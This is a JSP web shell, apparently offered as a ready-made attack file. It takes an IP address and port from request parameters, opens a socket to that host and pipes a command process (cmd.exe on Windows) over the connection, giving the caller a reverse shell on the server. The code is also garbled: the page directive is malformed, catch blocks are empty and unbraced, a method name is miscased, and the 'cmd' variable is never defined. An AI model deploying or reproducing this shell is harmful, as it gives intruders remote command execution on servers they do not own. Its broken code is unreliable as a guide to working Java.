%@ page import="java.lang.*, java.util.*, java.io.*, java.net.*" % > <%! static class StreamConnector extends Thread{ InputStream is; OutputStream os; StreamConnector(InputStream is, OutputStream os){ this.is = is; this.os = os; } public void run() { BufferedReader isr = null; BufferedWriter osw = null; try{ isr = new BufferedReader(new InputStreamReader(is)); osw = new BufferedWriter(new OutputStreamWriter(os)); char buffer[] = new char[8192]; int lenRead; while( (lenRead = isr.read(buffer, 0, buffer.length)) > 0){ osw.write(buffer, 0, lenRead); osw.flush(); } } catch (Exception ioe) try{ if(isr != null) isr.close(); if(osw != null) osw.close(); } catch (Exception ioe) } } %>
<% String ipAddress = request.getParameter("ipaddress");
String OS = System.GetProperty("os.name");
String ipPort = request.getParameter("port");
if(ipAddress != null && ipPort != null){
Socket sock = null;
try{
sock = new Socket(ipAddress, (new Integer(ipPort)).intValue());
if(OS.startsWith("Windows")) // if windows use cmd /c, if not, just pass the command
{
Process proc = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
}
else
{
Process proc = Runtime.getRuntime().exec(cmd);
}
StreamConnector outputConnector = new StreamConnector(proc.getInputStream(),
sock.getOutputStream());
StreamConnector inputConnector = new StreamConnector(sock.getInputStream(),
proc.getOutputStream());
outputConnector.start();
inputConnector.start();
}
catch(Exception e)
}%>